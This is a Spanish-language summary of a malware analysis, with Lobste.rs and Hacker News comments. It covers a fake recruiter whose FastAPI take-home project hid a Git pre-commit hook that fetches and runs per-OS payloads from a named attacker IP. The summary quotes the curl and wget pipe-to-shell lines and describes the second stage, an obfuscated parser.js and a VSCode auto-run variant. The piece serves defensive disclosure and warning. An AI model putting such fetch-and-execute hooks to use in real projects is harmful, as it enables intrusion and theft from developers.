- Un falso reclutador en LinkedIn ofreció un puesto remoto de desarrollador Python por $10,000~15,000 al mes y envió un archivo ZIP disfrazado de una tarea normal de FastAPI, preparado para instalar malware durante el flujo de trabajo con Git
- En
.git/hooksdel repositorio estaba oculto un hookpre-commitque ejecutaba silenciosamente cargas remotas según el sistema operativo, y las tareas de Git del PDF estaban diseñadas para inducir al candidato a ejecutarlo - La carga para Linux descargaba un script de segunda etapa en
~/Documents, lo ejecutaba connohup, y luego instalaba Node.js, sus dependencias y unparser.jsofuscado para correrlo en segundo plano - Al cambiar el valor
id=402de la solicitud, se devolvía un script distinto;package.jsonincluíaclipboardypara acceso al portapapeles y el entorno de desarrollo de Ethereumhardhat, pero el objetivo final no pudo confirmarse - Los atacantes solo añadieron directorios maliciosos a un repositorio público de FastAPI; otra variante ejecutaba comandos con solo abrir la carpeta en VSCode. Antes de trabajar con proyectos externos, hay que revisar directorios ocultos y configuraciones de autoejecución
Una oferta laboral demasiado buena
- La propuesta de empleo para desarrollador Python llegó por LinkedIn y ofrecía un contrato remoto con $10,000~15,000 al mes, con posibilidad de pasar a tiempo completo después
- Revelar una compensación tan alta antes siquiera de una entrevista fue la primera señal de alerta, especialmente por tratarse de una suma muy grande en India
- Se confirmó que la empresa usada en el reclutamiento era una startup de Y Combinator, pero quedó la duda de que una empresa con ese presupuesto normalmente tendría un proceso de contratación más estructurado
- Tras enviar el CV, la aprobación llegó de inmediato y se recibió por Google Drive un archivo ZIP junto con un PDF con las instrucciones de la prueba
- El PDF pedía mejorar una base de código existente, proponer arquitectura y realizar tareas con Git, por lo que a primera vista parecía un documento de evaluación legítimo
Un hook de Git oculto en un proyecto FastAPI
- El archivo comprimido contenía un backend de FastAPI aparentemente normal que usaba SQLAlchemy, y en
requirements.txtno aparecían paquetes con typosquatting ni dependencias claramente maliciosas - Al ejecutar
tree -apara revisar los elementos ocultos, aparecieron varios hooks de Git ya configurados bajo.git/hooks - El script
pre-commitdetectaba el sistema operativo conuname -sy luego descargaba y ejecutaba una carga por plataforma desde el mismo servidor- En macOS ejecutaba
curl .../task/mac?id=402 | sh - En Linux ejecutaba
wget .../task/linux?id=402 | sh - En Windows ejecutaba
curl .../task/windows?id=402 | cmd
- En macOS ejecutaba
- Toda la salida se redirigía a
/dev/nully el proceso se enviaba al fondo para ocultar al usuario cualquier rastro de ejecución - En vez de un dominio, usaba directamente la IP
45.61.164.38:5777, lo que hizo que la actividad maliciosa resultara aún más evidente
La carga multietapa en Linux
- El primer script para Linux descargaba
tokenlinux.nplen~/Documents, le cambiaba el nombre atokenlinux.shy le daba permisos de ejecución - Después lo lanzaba con
nohup bashen segundo plano para que siguiera funcionando incluso tras cerrar la terminal o cerrar sesión - El script de segunda etapa realizaba en silencio las siguientes acciones
- Instalar Node.js y configurar la ruta del sistema
- Descargar
parser.jsypackage.json - Instalar las dependencias necesarias de npm
- Ejecutar
parser.jsconnohup nodey guardar los logs enparser.log
parser.jsestaba fuertemente ofuscado, al punto de dificultar el análisis manual, y el archivo original se conserva enparser.js
Posible identificación por víctima
- En el endpoint se enviaba repetidamente el parámetro
id=402, y al cambiar ese valor se devolvía un script completamente distinto - Es posible que los atacantes asignaran un identificador único a cada candidato para entregar cargas personalizadas, aunque no se pudo confirmar el mecanismo real de rastreo
- Se ingresó el código en varios LLM para intentar desofuscarlo, pero los resultados fueron dispares
- Claude se negó a analizarlo por restricciones de seguridad
- Gemini sí entregó resultados del análisis del script
- Al buscar la extensión original
tokenlinux.npl, se confirmó su relación con una campaña de ataque más amplia
Dependencias sospechosas de Node.js
- El nombre del proyecto en
package.jsoneratokendappe incluíahardhat,axios,basic-ftp,clipboardy,jsonwebtoken,ps-node,requesty otros paquetes - No estaba claro por qué una tarea de configuración en segundo plano necesitaría
clipboardypara acceso al portapapeles y paquetes relacionados con el sistema de archivos hardhates un entorno de desarrollo para Ethereum, pero como Ethereum dejó atrás la prueba de trabajo, no se podía asumir fácilmente que fuera una configuración de minería típica- También se consideró la posibilidad de que buscara billeteras de criptomonedas o interactuara con extensiones locales del navegador, pero no se confirmó el objetivo malicioso final
Otra variante usando VSCode
- Otra variante del mismo ataque ocultaba una carpeta
.vscodedentro del ZIP y estaba preparada para ejecutar comandos al abrir ese directorio en VSCode - Con este método, la infección podía ocurrir con solo abrir la carpeta, sin necesidad de ejecutar comandos de Git ni correr directamente el código del proyecto
- Se confirmó que cierta empresa no participó directamente en el ataque; los atacantes solo aprovecharon el nombre de una empresa real para que la oferta laboral pareciera legítima
Disfraz reutilizando un repositorio público
- En
git logpermanecía intacto el historial de commits de desarrolladores previos, en lugar de mostrar un proyecto creado por los atacantes - El original era el repositorio público
personal-finance-service - Los atacantes clonaron un proyecto legítimo de FastAPI y solo añadieron directorios ocultos maliciosos para hacerlo pasar por una base de código de prueba técnica
- Era una estructura en la que revisar solo el código legítimo y un
requirements.txtlimpio podía hacer que el comportamiento malicioso pasara desapercibido
Investigación del servidor de ataque y sus límites
- Un escaneo con Nmap al servidor atacante mostró 3 puertos abiertos, y 2 de ellos no respondían a la detección de versión
- En el puerto 22 estaba corriendo OpenSSH 9.6p1 de Ubuntu
- En el momento del escaneo, esa versión llevaba poco más de una semana publicada, así que no se encontraron CVE conocidos aprovechables y fue difícil profundizar la investigación dentro del servidor
- Aunque la forma de distribuir el malware era llamativa, la seguridad operativa del servidor estaba relativamente bien mantenida, y la investigación se detuvo ahí
El papel de la tarea con Git
- Las tareas con Git del PDF estaban diseñadas para hacer que el candidato ejecutara al menos un comando de Git y así activar el hook preinstalado
- El falso reclutador aparentemente eliminó su cuenta de LinkedIn justo después de recibir el aviso de que el ataque había sido descubierto
- Antes de ejecutar un proyecto desconocido o usar comandos de Git, conviene revisar con herramientas como
tree -alos directorios ocultos y configuraciones de autoejecución como.gity.vscode
2 comentarios
Opiniones en Lobste.rs
Al revisar la dirección IP indicada, 45.61.164.38, resulta que está alojada en AS14956 de RouterHosting, bajo Cloudzy, y no coincide con las listas de bloqueo de spam de wikis que suelo mantener abiertas.
Parece que reportar el abuso podría ayudar.
Nunca he sido objetivo de una campaña de estafa personalizada; solo he recibido spam común y ofertas reales de empleo de baja calidad, así que me siento un poco decepcionado.
Ni siquiera hubo phishing con un nivel medio de esfuerzo.
Las protecciones de Claude son demasiado molestas.
Los usuarios realmente maliciosos tienen fuertes incentivos para evadirlas, pero los usuarios comunes que intentan entender el contenido quedan bloqueados con demasiada facilidad y no tienen motivos para seguir intentando.
Tras mucho tiempo buscando empleo, he pasado por todo tipo de situaciones absurdas, como que pidan trabajo gratis o intenten hackear a los candidatos, y este caso parece especialmente descarado.
En general, rechazo las pruebas técnicas y la producción de trabajo gratis; en su lugar, presento un portafolio relevante en GitHub o en mi blog personal, o propongo implementar algo en tiempo real durante una sesión de pair programming.
El portafolio evita la consultoría gratuita y muestra mi especialidad y experiencia concreta, conectándome con oportunidades más adecuadas; la implementación en vivo se parece a una entrevista técnica tradicional o a una conversación de diseño de sistemas.
Si rechazan ambas opciones, aunque haya algunos falsos positivos, se filtran muchas más señales de riesgo reales, así que me salgo del proceso de entrevistas.
Sigo el principio de: “si la prueba de mis capacidades no puede ser admitida como evidencia en el tribunal de esta organización, no quiero trabajar allí”.
Que un sitio web reproduzca música automáticamente sin permiso es muy molesto.
Me tomó unos segundos encontrar el origen de la interrupción y Firefox me permitió silenciar la pestaña fácilmente, pero no debería ser algo que el usuario tenga que resolver en primer lugar.
Es un análisis interesante, pero seguir investigando en una máquina virtual dedicada justo después de descubrir el malware también me parece un enfoque con una alta tolerancia al riesgo.
Incluso para un pentester experimentado, un descuido momentáneo puede causar daños importantes, así que un nivel de cautela casi paranoico puede ser realmente útil.
hardhatpuede conectarse a un RPC remoto de Ethereum o ejecutar una bifurcación local simulada que consume muy pocos recursos.Los posibles objetivos parecen ser dos: robo de claves privadas de wallets desprotegidas y ataques de intermediario (MITM) contra hardware wallets.
El primero es una técnica simple y común incluso en mods de Minecraft; si ya se obtuvo la clave privada, se puede atacar sin interacción del usuario, por lo que
hardhatsolo haría falta, como mucho, para probar la ejecución previa de transacciones.El segundo abusa de la estructura en la que una extensión del navegador propaga transacciones firmadas a través de un servidor RPC alojado.
Mientras el usuario cree que está haciendo una transacción normal en un sitio web de confianza, el servidor RPC la reemplaza por una carga maliciosa y, si el usuario firma sin revisar correctamente el contenido en la hardware wallet, el atacante puede ejecutarla.
Opiniones de Hacker News
Solo después de leer este artículo me di cuenta de que me habían hackeado de una forma mucho más sofisticada
Hace unas semanas entrevisté con el CTO de una empresa real; tenía la cámara apagada y un acento fuerte, pero la entrevista fue natural y parecía alguien con buen conocimiento técnico. En la entrevista técnica me pidió modificar el proyecto open source de la empresa, así que me dijo que clonara el repositorio y verificara el entorno de desarrollo
Después, la persona de RR. HH. dijo que la entrevista se había pospuesto por una enfermedad del CTO, y unos días después también borraron el perfil de LinkedIn de esa persona. Tras ver este artículo, revisé y descubrí que el repositorio que había clonado y ejecutado durante la entrevista contenía una carga maliciosa
Supongo que fui un objetivo porque antes administraba un paquete de NPM con más de 43 millones de descargas semanales. Ya tenía autenticación de dos factores en todas mis cuentas y también desplegaba el paquete de NPM manualmente sin tokens, pero aun así tuve que formatear la laptop e instalar todo de nuevo
Busqué publicaciones parecidas en HN, pero no encontré ninguna donde el estafador hubiera llegado hasta una llamada por Google Meet
Si la empresa va en serio, lo considerará; y si se niega, mejor evitar el riesgo. Ahora que se usa ampliamente un LLM para generar código, creo que esto debería ser posible con cualquier stack técnico
Parece que últimamente han aumentado los ataques norcoreanos dirigidos a desarrolladores. Además de estas tácticas que llevan años circulando, más o menos una vez por semana recibo correos de hackers norcoreanos diciendo “vi tu perfil, ¿te interesa colaborar?”
En comunidades de programación en Discord también hay muchas cuentas que, a los pocos días de entrar, piden trabajo o colaboración. Puede que algunos sí busquen empleo de verdad, pero la cantidad y similitud de los mensajes es sospechosa, y el hecho de que lleguen incluso a comunidades de librerías de Python poco conocidas y con casi nada de actividad sugiere que están raspando listados de comunidades de Discord y contactando a cualquiera
Como cada vez hay más ataques que explotan la confianza entre personas, hace falta seguir el consejo de nuestros padres: no confiar en desconocidos en internet
Se sigue repitiendo esta táctica de identificar el sistema operativo de la víctima y luego ejecutar en secreto una carga remota, y el mes pasado también llegó a portada una publicación similar
https://news.ycombinator.com/item?id=48546294
Una dirección IP sin procesar da una fuerte impresión de malware, pero si la víctima ya revisó con suficiente detalle como para inspeccionar el contenido del hook, no se va a quedar tranquila solo por eso. La mayoría de los desarrolladores ni siquiera pensaría que
git commitpuede ejecutar acciones maliciosas, y me pregunto si eso es una debilidad de seguridad de GitLo único que quedó claro es que, por todas sus protecciones, Claude fue totalmente inútil como asistente
Usar una IP sin procesar puede haber sido para no dejar datos de identidad en un registrador de dominios o para minimizar el rastro en línea
La mayoría de las capturas no abrían directamente y tuve que verlas en una pestaña nueva
Esta estafa es bastante ingeniosa y probablemente ya atrapó a muchos buscadores de empleo; además, el proyecto de Visual Studio Code que aparece en el artículo se ve todavía más peligroso. Si con solo abrir el proyecto ya se ejecuta código del usuario, eso es claramente una vía de malware y hace falta una mitigación de seguridad
La respuesta de los sitios de empleo también es insuficiente. Si alguien dice pertenecer a una empresa o institución, al menos deberían pedir comprobante de empleo, y bastaría con mostrar una gran advertencia en los mensajes de cuentas no verificadas para dificultar muchas estafas. Ahora mismo cualquiera puede afirmar experiencia laboral o estudios en cualquier empresa al azar
Da gusto ver una publicación sobre hackeos reales en la portada de Hacker News
http://www.catb.org/jargon/html/H/hacker.html
Se refiere a una persona que disfruta explorar la estructura detallada y los límites de los sistemas programables, especialmente comprender a fondo el funcionamiento interno de computadoras y redes. También significa alguien que no se queda en la teoría, sino que programa con pasión y, a veces, de forma obsesiva
Si LinkedIn se tomara en serio la prevención de fraudes, podría ofrecer verificación con correo corporativo al indicar el empleo actual. Si hacerlo obligatorio es demasiado, al menos podría permitir que los reclutadores que quieran demostrar legitimidad se verifiquen opcionalmente
Incluso ahora, probablemente esté pasando algo parecido apuntando al mercado laboral de IA y a la demanda de LLM y automatización
Este tipo de ataques probablemente será cada vez más común. Los atacantes investigaron a fondo y el método es perverso, pero hay que reconocerles cierta solidez técnica, y creo que su tasa real de éxito también debe ser bastante alta